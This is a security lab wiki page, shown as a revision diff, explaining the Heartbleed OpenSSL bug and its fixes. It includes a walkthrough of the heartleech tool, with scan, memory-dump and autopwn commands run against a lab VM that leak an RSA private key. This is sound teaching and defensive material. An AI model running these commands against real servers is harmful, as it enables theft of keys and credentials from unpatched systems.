Difference between revisions of "Heartbleed"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
 
(24 intermediate revisions by 3 users not shown)
Line 7: Line 7:


* Webserver e.g. (nginx / apache)
* Webserver e.g. (nginx / apache)
* OpenSSL between version 1.0.1 and 1.0.1f (https://github.com/openssl/openssl/branches/all)
* OpenSSL between version 1.0.1 and 1.0.1f (Download from https://github.com/openssl/openssl/branches/all)
 
== Description ==


== Background ==


* HTTP communication usually takes place over TCP/IP connections
* HTTP communication usually takes place over TCP/IP connections
Line 18: Line 17:
* Webserver have timers, after a set time of x - seconds the session gets closed if the client is inactive
* Webserver have timers, after a set time of x - seconds the session gets closed if the client is inactive
* To keep the session alive, the web-browser sends heartbeat requests which are processed by the server
* To keep the session alive, the web-browser sends heartbeat requests which are processed by the server
* Classified as a [[Buffer Overflows]] Vulnerability


=== Heartbeat ===
=== Heartbeat ===


* an extension in OpenSSL  
* Is an extension in OpenSSL  
 
* Special data package
* Special data package
* Possible size: 16 Bytes < Heartbeat Message < 64Kb
* “Heartbeat Requests” are sent from Webbrowser to Webserver to keep the session alive
* The server answers with a “Heartbeat Respond” which contains the exact same dataset


* Possible size: 16 Bytes < Heartbeat < 64Kb
==== Example ====
''Web browsers (client) sends a length and a message''
* Web browser sends message with length 5: ‘hello’
* Web server responds with the exact same message : ‘hello’


* “Heartbeat Requests” are sent from Webbrowser to Webserver to keep the session alive
=== Heartbleed (CVE-2014-0160)===


* The server answers with a “Heartbeat Respond” which contains the exact same dataset
* Vulnerable code written by a German graduate student in 2011, approved by a British consultant <ref name="HumanSideHeartbleed"> Bruce Schneier ''The Human Side of Heartbleed'' https://www.schneier.com/blog/archives/2014/06/the_human_side_.html. (accessed December 22, 2023).</ref>
* Heartbleed discovered in 2014 by a Neel Mehta, a member of Google's security team. <ref name="HumanSideHeartbleed" />
* Choose heartbeat request size as a minimum and claim it to the maximum
* The heartbeat request can be executed multiple times in a row
* Rebuild picture of servers RAM


==== Example ====
==== Example ====
Web browsers (client) sends a length and a message
* Web browser sends message with length 65536: ‘hello’
Pseudo example:
* The server read a full 64 KiB from memory and sends it to the client
Web browser sends message with length 5: ‘hello’
* Web server allocates a dataslot of 64 KiB and copies the message ‘hello’ in the first place. The rest of the 65536 - ‘hello’ size is appended with data in the RAM.
Web server responds with the exact same message : ‘hello’
* The Web server responds with the filled 64 KiB dataslot (including content of RAM).
 
== Attack ==
The result of a Heartbleed Bug is shown in the following picture.
[[File:HeartbleedAttack.png]]
=== Interpretation ===
 
The left hand column represents the HEAP address, the middle column contains the fetched data in a hexadecimal representation.
The right hand column is the actual readable output. Here may stand user credentials, banking informations or even the encryption method.
 
(Reminder: the attacked server must implement an OpenSSL version between 1.0.1 and 1.0.1.f)
 
== Testing tools ==
There are multiple ways to assess if a website is vulnerable to the Heartbleed security
risk.
 
== Heartleech by Robert David Graham ==
The project can be found under following URL: "https://github.com/robertdavidgraham/heartleech"
The first step to test a system for the vulnerabilty to the Heartbleed Bug with the Heartleech testing tool is to install Heartleech on Kali Linux with the command:<ref name="Gebeshuber">K. Gebeshuber, E. Teiniker, and W. Zugaj, ''Real Life Exploitation'', p. 485–488. Rheinwerk, 2019. </ref>
 
<pre>
$ apt−get install heartleech
usage: heartleech <hostname> −f<filename> [−p<port >] ...
<filename> is a DNS name or IP address of  the target
<filename is where the heartbleed information is stored
<port> is the port number, defaulting to 433
</pre>
 
After successful installation, the option –scan examines a system for its vulnerability. <ref name="Gebeshuber" />


<pre>
$ heartleech www.google.com −p 443 −−scan
−−− heartleech/1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
www.google.com:443: SAFE
</pre>


=== Heartbleed ===
To showcase a vulnerable system, a Virtual Machine with the vulnerable Ubuntu 12.04 with an Apache web server was used and the Heartleech identified the system as VULNERABLE. <ref name="Gebeshuber" />
Choose heartbeat request size as a minimum and claim it to the maximum


The heartbeat request can be executed multiple times in a row
<pre>
$ heartleech −−scan 192.168.40.145
192.168.40.145:443: VULNERABLE
</pre>


Rebuild picture of servers RAM
Conceding that Heartleech command is used without any other parameter, it will read
data from the memory until the program was to be aborted. <ref name="Gebeshuber" />


==== Example ====
<pre>
Web browser sends message with length 65536: ‘hello’
$ heartleech 192.168.40.145
The server read a full 64 KiB from memory and sends it to the client
1896737 byted downloaded (101.215 −mbps)
Web server allocates a dataslot of 64 KiB and copies the message ‘hello’ in the first place. The rest of the 65536 - ‘hello’ size is appended with data in the RAM.
</pre>
The Web server responds with the filled 64 KiB dataslot (including content of RAM).
 
To find private information the –autopawn and –threads options can be used. In this
case Heartleech found a RSA Private Key in the vulnerable memory. <ref name="Gebeshuber" />
 
<pre>
$ heartleech 192.168.40.145 −−autopwn −−threads 20
−−− heartleech / 1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
0 byted downloaded (0.000 −mbps )
−−−−−BEGIN RSA PRIVATE KEY−−−−−
MIIEowIBAAKCAQEAwgrg7H+rjMb0FEkf /d3VeZe68NwMF+maKHc
...
−−−−−END RSA PRIVATE KEY−−−−−
</pre>
 
== Consequences ==
The greatest obstacle with the Heartbleed bug is that the exploitation does not leave any trace or any peculiar indication behind. Consequently, the abuse of the security hole cannot be detected. <ref name="Synopsys"> I. h. Synopsys ''The heartbleed bug'' https://heartbleed.com/. (accessed October 9, 2022).</ref>
 
Since it was stated that half a million sites were or are vulnerable, it is possible that a collection of websites to this day have not been patched and thus still vulnerable to the Heartbleed breach. <ref> B. Schneier, ''Heartbleed'', https://www.schneier.com/blog/archives/2014/04/heartbleed.html/.
(accessed October 11, 2022).</ref>
 
The only way to prevent further damage and to mitigate the vulnerability, is to upgrade OpenSSL to the fixed version or to recompile OpenSSL with the handshake removed from the code. <ref name="Synopsys" />
 
A great asset which built out of this situation, is that service providers that suffered from the Heartbleed Bug updated software and enhanced the security power. <ref name="Synopsys" />


A specific case of the Hearbleed expolitation was done in Canada, where a teenager had stolen 900 social security numbers in a matter of hours. <ref name="HeartbleedCanada"> Heise, Daniel AJ Sokolov ''Heartbleed: Datendiebstahl beim kanadischen Finanzamt'' https://www.heise.de/news/Heartbleed-Datendiebstahl-beim-kanadischen-Finanzamt-2169832.html. (accessed December 22, 2023).</ref>


Make sure to read
In addition to this, Heartbleed lead to more conspiracy theories about the NSA, as anonymous sources have claimed that the NSA has been exploiting the vulnerability for two years prior to the public announcment. <ref name="MoreHeartbleed"> Bruce Schneier ''More on Heartbleed'' https://www.schneier.com/blog/archives/2014/04/more_on_heartbl.html. (accessed December 22, 2023).</ref>


* War and Peace
== Solution for the Heartbleed bug ==
* Lord of the Rings
The solution for the Heartbleed bug was to patch OpenSSL to the 1.0.1g version. The patch included a bounds check which uses the right record length in the SSL3 structure that declared the incoming HeartbeatMessage. <ref name="RSLabs">R.S.Labs, ''How the heartbleed bug affects you'', https://rhinosecuritylabs.com/research/how-heartbleed-affects-you/. (accessed December 22, 2023).</ref>
* The Baroque Cycle


== Used Hardware ==
=== Solution for individuals ===
As a consumer of web services the vast majority of the responsibility lies with the provider of the service but it is appropriate to change passwords when there is potential that a web service in use is exposed. It is advised to always use different passwords for different services. The habit of using a password manager is profitable. <ref name="RSLabs" />


[[Device to be used with this documentation]]
=== Solution for busniesses ===
[[Maybe another device to be used with this documentation]]
Since this vulnerability leaves no trace, it is advised to set precautions. The first step to approach is to patch the system and re-generate any SSL certificates. Consumers shall be encouraged to change their passwords. An ever more effective path would be to force a password change. As this bug is to take very seriously it is crucial to take the corresponding steps to protect consumers as a responsible business. In case of concern that your servers and internal information may have been leaked, an additional step would be to determine it with a security assesment. <ref name="RSLabs" />


== Courses ==
=== Secure Coding Practices ===
In order to prevent similar mistakes and vulneratbilites, OWASP provides numerous guides about secure coding practices, including checklists for input validation, session management, data protection, error handling and logging, etc. <ref name="OWASPGuide">OWASP, ''OWASP Secure Coding Practices-Quick Reference Guide'', https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/ (accessed December 22, 2023).</ref>


* [[A course where this documentation was used]] (2017, 2018)
==Similarities to Cloudbleed==
* [[Another one]] (2018)
Cloudbleed was a major security bug discovered in 2017 within the infrastructure of a major IT company Cloudflare. This bug, much like Heartbleed, exposed sensitive information due to a buffer overflow issue, caused by a human error in the code. The leakage occured under certain circumstances involving certain HTML content and Cloudflare features. Much like Heartbleed, Cloudbleed demonstrated the possibility of human error in critical software. <ref name="CloudflareGraham">Cloudflare, ''Incident report on memory leak caused by Cloudflare parser bug'', https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/. (accessed December 22, 2023).</ref> <ref name="CloudflarePrince">Cloudflare, ''Quantifying the Impact of "Cloudbleed"'', https://blog.cloudflare.com/quantifying-the-impact-of-cloudbleed/. (accessed December 22, 2023).</ref>


== References ==
==References==


* https://wikipedia.org
* https://google.com


[[Category:Documentation]]
[[Category:Documentation]]

Latest revision as of 19:03, 22 December 2023

Summary

This page explains the background information of the "Heartbleed"- bug. The purpose of this documentation is not to guide attackers to reproduce the heartbleed attack, it should only highlight the functionality.

Requirements

Background

  • HTTP communication usually takes place over TCP/IP connections
  • TCP is reliable but, a continuous data exchange is needed.
  • HTTPS Websites are encrypted with SSL
  • The Webserver has available sockets which allows connections to clients
  • Webserver have timers, after a set time of x - seconds the session gets closed if the client is inactive
  • To keep the session alive, the web-browser sends heartbeat requests which are processed by the server
  • Classified as a Buffer Overflows Vulnerability


Heartbeat

  • Is an extension in OpenSSL
  • Special data package
  • Possible size: 16 Bytes < Heartbeat Message < 64Kb
  • “Heartbeat Requests” are sent from Webbrowser to Webserver to keep the session alive
  • The server answers with a “Heartbeat Respond” which contains the exact same dataset

Example

Web browsers (client) sends a length and a message

  • Web browser sends message with length 5: ‘hello’
  • Web server responds with the exact same message : ‘hello’

Heartbleed (CVE-2014-0160)

  • Vulnerable code written by a German graduate student in 2011, approved by a British consultant [1]
  • Heartbleed discovered in 2014 by a Neel Mehta, a member of Google's security team. [1]
  • Choose heartbeat request size as a minimum and claim it to the maximum
  • The heartbeat request can be executed multiple times in a row
  • Rebuild picture of servers RAM

Example

  • Web browser sends message with length 65536: ‘hello’
  • The server read a full 64 KiB from memory and sends it to the client
  • Web server allocates a dataslot of 64 KiB and copies the message ‘hello’ in the first place. The rest of the 65536 - ‘hello’ size is appended with data in the RAM.
  • The Web server responds with the filled 64 KiB dataslot (including content of RAM).

Attack

The result of a Heartbleed Bug is shown in the following picture. HeartbleedAttack.png

Interpretation

The left hand column represents the HEAP address, the middle column contains the fetched data in a hexadecimal representation. The right hand column is the actual readable output. Here may stand user credentials, banking informations or even the encryption method.

(Reminder: the attacked server must implement an OpenSSL version between 1.0.1 and 1.0.1.f)

Testing tools

There are multiple ways to assess if a website is vulnerable to the Heartbleed security risk.

Heartleech by Robert David Graham

The project can be found under following URL: "https://github.com/robertdavidgraham/heartleech" The first step to test a system for the vulnerabilty to the Heartbleed Bug with the Heartleech testing tool is to install Heartleech on Kali Linux with the command:[2]

$ apt−get install heartleech
usage: heartleech <hostname> −f<filename> [−p<port >] ...
<filename> is a DNS name or IP address of  the target
<filename is where the heartbleed information is stored
<port> is the port number, defaulting to 433

After successful installation, the option –scan examines a system for its vulnerability. [2]

$ heartleech www.google.com −p 443 −−scan
−−− heartleech/1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
www.google.com:443: SAFE

To showcase a vulnerable system, a Virtual Machine with the vulnerable Ubuntu 12.04 with an Apache web server was used and the Heartleech identified the system as VULNERABLE. [2]

$ heartleech −−scan 192.168.40.145
192.168.40.145:443: VULNERABLE

Conceding that Heartleech command is used without any other parameter, it will read data from the memory until the program was to be aborted. [2]

$ heartleech 192.168.40.145
1896737 byted downloaded (101.215 −mbps)

To find private information the –autopawn and –threads options can be used. In this case Heartleech found a RSA Private Key in the vulnerable memory. [2]

$ heartleech 192.168.40.145 −−autopwn −−threads 20
−−− heartleech / 1.0.0h −−−
https://github.com/robertdavidgraham/heartleech
PCRE library : 8.39 2016−06−2014
0 byted downloaded (0.000 −mbps )
−−−−−BEGIN RSA PRIVATE KEY−−−−−
MIIEowIBAAKCAQEAwgrg7H+rjMb0FEkf /d3VeZe68NwMF+maKHc
...
−−−−−END RSA PRIVATE KEY−−−−−

Consequences

The greatest obstacle with the Heartbleed bug is that the exploitation does not leave any trace or any peculiar indication behind. Consequently, the abuse of the security hole cannot be detected. [3]

Since it was stated that half a million sites were or are vulnerable, it is possible that a collection of websites to this day have not been patched and thus still vulnerable to the Heartbleed breach. [4]

The only way to prevent further damage and to mitigate the vulnerability, is to upgrade OpenSSL to the fixed version or to recompile OpenSSL with the handshake removed from the code. [3]

A great asset which built out of this situation, is that service providers that suffered from the Heartbleed Bug updated software and enhanced the security power. [3]

A specific case of the Hearbleed expolitation was done in Canada, where a teenager had stolen 900 social security numbers in a matter of hours. [5]

In addition to this, Heartbleed lead to more conspiracy theories about the NSA, as anonymous sources have claimed that the NSA has been exploiting the vulnerability for two years prior to the public announcment. [6]

Solution for the Heartbleed bug

The solution for the Heartbleed bug was to patch OpenSSL to the 1.0.1g version. The patch included a bounds check which uses the right record length in the SSL3 structure that declared the incoming HeartbeatMessage. [7]

Solution for individuals

As a consumer of web services the vast majority of the responsibility lies with the provider of the service but it is appropriate to change passwords when there is potential that a web service in use is exposed. It is advised to always use different passwords for different services. The habit of using a password manager is profitable. [7]

Solution for busniesses

Since this vulnerability leaves no trace, it is advised to set precautions. The first step to approach is to patch the system and re-generate any SSL certificates. Consumers shall be encouraged to change their passwords. An ever more effective path would be to force a password change. As this bug is to take very seriously it is crucial to take the corresponding steps to protect consumers as a responsible business. In case of concern that your servers and internal information may have been leaked, an additional step would be to determine it with a security assesment. [7]

Secure Coding Practices

In order to prevent similar mistakes and vulneratbilites, OWASP provides numerous guides about secure coding practices, including checklists for input validation, session management, data protection, error handling and logging, etc. [8]

Similarities to Cloudbleed

Cloudbleed was a major security bug discovered in 2017 within the infrastructure of a major IT company Cloudflare. This bug, much like Heartbleed, exposed sensitive information due to a buffer overflow issue, caused by a human error in the code. The leakage occured under certain circumstances involving certain HTML content and Cloudflare features. Much like Heartbleed, Cloudbleed demonstrated the possibility of human error in critical software. [9] [10]

References

  1. 1.0 1.1 Bruce Schneier The Human Side of Heartbleed https://www.schneier.com/blog/archives/2014/06/the_human_side_.html. (accessed December 22, 2023).
  2. 2.0 2.1 2.2 2.3 2.4 K. Gebeshuber, E. Teiniker, and W. Zugaj, Real Life Exploitation, p. 485–488. Rheinwerk, 2019.
  3. 3.0 3.1 3.2 I. h. Synopsys The heartbleed bug https://heartbleed.com/. (accessed October 9, 2022).
  4. B. Schneier, Heartbleed, https://www.schneier.com/blog/archives/2014/04/heartbleed.html/. (accessed October 11, 2022).
  5. Heise, Daniel AJ Sokolov Heartbleed: Datendiebstahl beim kanadischen Finanzamt https://www.heise.de/news/Heartbleed-Datendiebstahl-beim-kanadischen-Finanzamt-2169832.html. (accessed December 22, 2023).
  6. Bruce Schneier More on Heartbleed https://www.schneier.com/blog/archives/2014/04/more_on_heartbl.html. (accessed December 22, 2023).
  7. 7.0 7.1 7.2 R.S.Labs, How the heartbleed bug affects you, https://rhinosecuritylabs.com/research/how-heartbleed-affects-you/. (accessed December 22, 2023).
  8. OWASP, OWASP Secure Coding Practices-Quick Reference Guide, https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/ (accessed December 22, 2023).
  9. Cloudflare, Incident report on memory leak caused by Cloudflare parser bug, https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/. (accessed December 22, 2023).
  10. Cloudflare, Quantifying the Impact of "Cloudbleed", https://blog.cloudflare.com/quantifying-the-impact-of-cloudbleed/. (accessed December 22, 2023).